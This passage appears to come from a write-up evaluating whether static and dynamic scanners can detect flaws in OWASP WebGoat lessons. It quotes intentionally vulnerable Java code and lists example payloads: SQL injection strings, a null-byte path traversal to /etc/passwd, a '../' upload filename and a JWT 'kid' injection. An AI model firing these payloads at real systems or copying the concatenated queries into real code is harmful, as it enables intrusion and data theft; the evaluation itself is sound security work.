Reasoning:**\n\nDAST tools should attempt to inject into the action_string parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `action_string=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > Try It! Pulling data from other tables\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:**\n\nThis lesson is to demonstrate how to extract data from tables other than the one the query was defined to execute against.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#L60-67\n\nquery = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n//Check if Union is used\nif (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n    usedUnion = false;\n}\ntry (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n        ResultSet.CONCUR_READ_ONLY)) {\n    ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `accountName` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `userid_6a` parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `userid_6a=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > (no title)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\n\n**Lesson:**\n\nThis lesson is a challenge to attempt to extract data from the database that leads to the attacker being able to login as a different user by executing SQL Injection attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java#L63-65\n\nString checkUserQuery = \"select userid from sql_challenge_users where userid = '\" + username_reg + \"'\";\nStatement statement = connection.createStatement();\nResultSet resultSet = statement.executeQuery(checkUserQuery);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `username_reg` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `username_reg` parameter with a timing or blind sql injection based attack string, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `username_reg='%2b(select+repeat('a', 50000000)+from+information_schema.tables)%2b'&email_reg=asdf&password_reg=asdf&confirm_password_reg=asdf`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 9)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL injection attacks. This particular case looks to see if the input string contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java#L48-L52\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation\") String userId) {\nif (userId.contains(\" \")) {\n    return failed(this).feedback(\"SqlOnlyInputValidation-failed\").build();\n}\nAttackResult attackResult = lesson6a.injectableQuery(userId);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely be flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidation.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 52. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it more difficult for DAST tools to identify exploitable issues. There is a chance some DAST tools would not find the `userid_sql_only_input_validation` parameter vulnerable to SQL Injection.\n\n**Example Attack:**\n- `userid_sql_only_input_validation='%2b(SELECT/**/repeat(char(60),50000000)from/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 10)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL Injection attacks. This particular case looks to see if the input string contains `SELECT` or `FROM` keywords and replaces them with empty strings, it additionally checks if the input contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java#L48-L53\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation_on_keywords\") String userId) {\n    userId = userId.toUpperCase().replace(\"FROM\", \"\").replace(\"SELECT\", \"\");\n    if (userId.contains(\" \")) {\n        return failed(this).feedback(\"SqlOnlyInputValidationOnKeywords-failed\").build();\n    }\n    AttackResult attackResult = lesson6a.injectableQuery(userId);\n    ...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidationOnKeywords.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 53. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it much more difficult for DAST tools to identify exploitable issues. There is a good chance most DAST tools would not find the `userid_sql_only_input_validation_on_keywords` parameter vulnerable.\n\n**Example Attack:**\n- `userid_sql_only_input_validation_on_keywords='%2b(SELselectECT/**/repeat(char(60),50000000)FRfromOM/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > (no title) (Lesson 12)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\n\n**Lesson:** \n\nThis lesson includes a SQL Injection vulnerability in a column field of a SQL query, which can not be specified by a parameter in a parameterized query. As such, it uses a dynamically generated query string with user input for specifying the column name.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java#L69-L74\n\n public List\u003CServer> sort(@RequestParam String column) throws Exception {\n    List\u003CServer> servers = new ArrayList\u003C>();\n\n    try (Connection connection = dataSource.getConnection();\n            PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status \u003C> 'out of order' order by \" + column)) {\n        ResultSet rs = preparedStatement.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, the column field can not be specified as a `parameter` in a parameterized query. A SAST tool should identify that the query string is concatenated with user input on line 73.\n\n**DAST Reasoning:**\n\nA DAST tool, if it is able to find the `/WebGoat/SqlInjectionMitigations/servers` endpoint, should be able to exploit the column based SQL injection issue.\n\n**Example Attack:**\n- `/WebGoat/SqlInjectionMitigations/servers?column=(select+repeat('a',50000000)+from+information_schema.tables)`\n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/1\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java#L31-L32\n\npublic AttackResult uploadFileHandler(@RequestParam(\"uploadedFile\") MultipartFile file, @RequestParam(value = \"fullName\", required = false) String fullName) {\n    return super.execute(file, fullName);\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 3)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/2\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supply the file contents to create a new file. In this lesson filtering is done on user input, replacing `../` with an empty string.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java#L24-L28\n\n    public AttackResult uploadFileHandler(\n            @RequestParam(\"uploadedFileFix\") MultipartFile file,\n            @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n        return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n    }\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Yes\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 4)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/3\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lessons goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file. In this lesson the filename is taken from the `MultipartFile.getOriginalFilename()` which is still user input, as it is possible to modify the filename part of a Multipart upload:\n```\nContent-Disposition: form-data; name=\"uploadedFileRemoveUserInput\"; filename=\"../../test.html\"\n```\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L24-L28\n\npublic AttackResult uploadFileHandler(\n        @RequestParam(\"uploadedFileFix\") MultipartFile file,\n        @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n    return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the uploadFileHandler fullName parameter, which originates from the `MultipartFile.getOriginalFilename()` from `ProfileUploadRemoveUserInput.java`. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Retrieving other files with a path traversal\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/4\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to retrieve a particular file from the file system. It uses a rather uncommon method of validating the entire query string via `request.getQueryString()` to see if it contains `..` or `/`. While technically the call to `new File` is vulnerable to path traversal attacks, it is not actually an exploitable arbitrary local file inclusion vulnerability. It can only return files which are jpg's, and null-byte attacks are not possible due to calls to FileCopyUtils which validates that the path does not contain null bytes.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L75-94\n\npublic ResponseEntity\u003C?> getProfilePicture(HttpServletRequest request) {\n    var queryParams = request.getQueryString();\n    if (queryParams != null && (queryParams.contains(\"..\") || queryParams.contains(\"/\"))) {\n        return ResponseEntity.badRequest().body(\"Illegal characters are not allowed in the query params\");\n    }\n    try {\n        var id = request.getParameter(\"id\");\n        var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");\n\n        if (catPicture.getName().toLowerCase().contains(\"path-traversal-secret.jpg\")) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .body(FileCopyUtils.copyToByteArray(catPicture));\n        }\n        if (catPicture.exists()) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .location(new URI(\"/PathTraversal/random-picture?id=\" + catPicture.getName()))\n                    .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture)));\n        }\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted. However, the File object is only used in calls to either `getName()` or `FileCopyUtils` which validates that the filename does not contain null bytes. So while it's technically vulnerable, it is not exploitable for arbitrary file access.\n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath`, which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, a DAST tool would most likely be unable to identify this as a flaw. Most DAST tools use hardcoded filepaths such as `/etc/passwd` or `c:/windows/win.ini` when attempting to access arbitrary files.\n\n---\n\n\u003C/details>\n\n## (A2) Broken Authentication\n\n---\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A2) Broken Authentication > Authentication Bypasses > 2FA Password Reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/AuthBypass.lesson/1\n\n**Source:** \n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java\n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java\n\n**Lesson:**\nThis lesson is for bypassing 2FA password reset by removing POST parameters.\n\n```\nwebgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java#L69-86\n\npublic boolean verifyAccount(Integer userId, HashMap\u003CString, String> submittedQuestions) {\n    //short circuit if no questions are submitted\n    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion0\") && !submittedQuestions.get(\"secQuestion0\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\"))) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion1\") && !submittedQuestions.get(\"secQuestion1\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion1\"))) {\n        return false;\n    }\n\n    // else\n    return true;\n\n}\n\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson is a hypothetical case where it 'fails open.' In other words by not submitting the validated parameters, the checks are never executed and the verifyAccount method returns true.\n\nSAST tools can not determine 'reasoning' of a methods purpose. This method is not wired into any obvious framework or method that would hint for the SAST tool to know it's for authentication purposes.\n\n**DAST Reasoning:**\n\nMuch like above, this is a hypothetical case. There is no context around the lesson that could assist a DAST tool in knowing it's testing a password reset function. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT signing\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/3\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\n\n**Lesson:**\nThis lesson is for modifying JWT claims to impersonate or elevate privileges. It is a multi-step process. First to get a JWT value you need to use the fake 'login' `/JWT/votings/login?user=` endpoint, which sets it in an HTTP cookie. Next, the goal is to bypass authorization checks and reset the votes by issuing a POST request to the `/JWT/votings` with a modified token. The modifications require setting the alg to None and changing the admin parameter to true. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java#L163-165\n\nJwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\nClaims claims = (Claims) jwt.getBody();\nboolean isAdmin = Boolean.valueOf((String) claims.get(\"admin\"));\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool would need to be used in conjunction with a dependency scanning solution that looked for vulnerable libraries. This vulnerability exists due to the dependency on `io.jsonwebtoken` version 0.7.0. Using static analysis alone would be difficult for a SAST tool to identify that the `setSigningKey` would be ignored if the algorithm was set to `None`. Additionally, authorization issues are usually difficult for SAST to identify in terms of simple conditional statements.  \n\n**DAST Reasoning:**\n\nVulnerabilities that require multiple steps are usually difficult for DAST tools to identify. If the JWT was used in an authentication endpoint, it may be possible for a DAST tool to identify a vulnerability. It would attempt to modify the JWT and determine if it was able to successfully login. A DAST tool would be unable to determine that the secondary `/JWT/votings` endpoint suffers from verification flaw.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT cracking\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/4\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\n\n**Lesson:**\nThis lesson is for cracking a JWT value which uses an insecure cryptographic algorithm. `HS256` JWT values include a signature which can generated and compared by brute forcing tools. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java#L57-68\n\npublic String getSecretToken() {\n    return Jwts.builder()\n            .setIssuer(\"WebGoat Token Builder\")\n            .setAudience(\"webgoat.org\")\n            .setIssuedAt(Calendar.getInstance().getTime())\n            .setExpiration(Date.from(Instant.now().plusSeconds(60)))\n            .setSubject(\"tom@webgoat.org\")\n            .claim(\"username\", \"Tom\")\n            .claim(\"Email\", \"tom@webgoat.org\")\n            .claim(\"Role\", new String[]{\"Manager\", \"Project Administrator\"})\n            .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();\n    }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool that included this particular `Jwts` library signatures would be able to identify that the `signWith` method is a potential sink and the first parameter determines if a vulnerability exists, depending on the argument's value.\n\n**DAST Reasoning:**\n\nA DAST tool with builtin JWT cracking functionality would be able to extract JWT values encountered during crawling and attempt to brute force the signature. Note the ability to actually determine vulnerability would be dependent on the weakness of the JWT key used for signing.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > Refreshing a token (incomplete lesson)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/6\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\n\n**Lesson:**\n\nThis lesson as of v8.1.0 is still incomplete, as the lesson page details do not give enough information to solve. Only by looking at the source and getting the username/password can one solve this challenge. The underlying flaw is that the application does not properly associate refresh tokens with access tokens, allowing one who has captured a leaked refresh token to update someone else's access token.\n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java#L116-122\n\ntry {\n    Jwt\u003CHeader, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(\"Bearer \", \"\"));\n    user = (String) jwt.getBody().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n} catch (ExpiredJwtException e) {\n    user = (String) e.getClaims().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n}\n...\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would not be able to reason the logic behind requiring the access token and refresh token to be linked unless this logic was built into the JWT library. It could be possible with a very strictly defined set of a rule sets to find this flaw, but it is highly improbable. \n\n**DAST Reasoning:**\n\nA DAST tool could be configured to contain two user accounts and authorize to get both tokens. It could then attempt to switch one user's refresh token with the secondary user and determine if the server responded with a new access token. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > Final challenges\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/7\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\n\n**Lesson:**\nThis lesson is a highly improbable series of events that could lead to overwriting a signing key stored in a database. The underlying vulnerability here is actually SQL injection that is exploitable by modifying the `kid` JWT field. \n\n```\nL162-176\nJwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {\n    @Override\n    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n        final String kid = (String) header.get(\"kid\");\n        try (var connection = dataSource.getConnection()) {\n            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n            while (rs.next()) {\n                return TextCodec.BASE64.decode(rs.getString(1));\n            }\n        } catch (SQLException e) {\n            errorMessage[0] = e.getMessage();\n        }\n        return null;\n    }\n}).parseClaimsJws(token);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would flag this particular issue as a SQL injection flaw. SAST tools with taint tracking capabilities, or one that has added signatures for sources and sinks of this JWT library, could follow that the token was decoded and the `kid` came from user input. It would then identify on line 167 user supplied input was used in generation of a dynamically generated SQL query. SAST tools which take a more grep like approach, would most likely flag line 167 as the vulnerability since string concatenation used in a SQL query.\n\n**DAST Reasoning:**\n\nA DAST tool could be configured to decode JWT claims and attempt SQL injection in the various fields.\n\n**Example Attack:**\n- Decode JWT\n- Modify the JWT header\n```\n{\n  \"typ\": \"JWT\",\n  \"kid\": \"'+(select repeat('a',50000000) from INFORMATION_SCHEMA.tables)+'\",\n  \"alg\": \"HS256\"\n}\n```\n- Re-encode the token\n- Send request during a timing attack verification 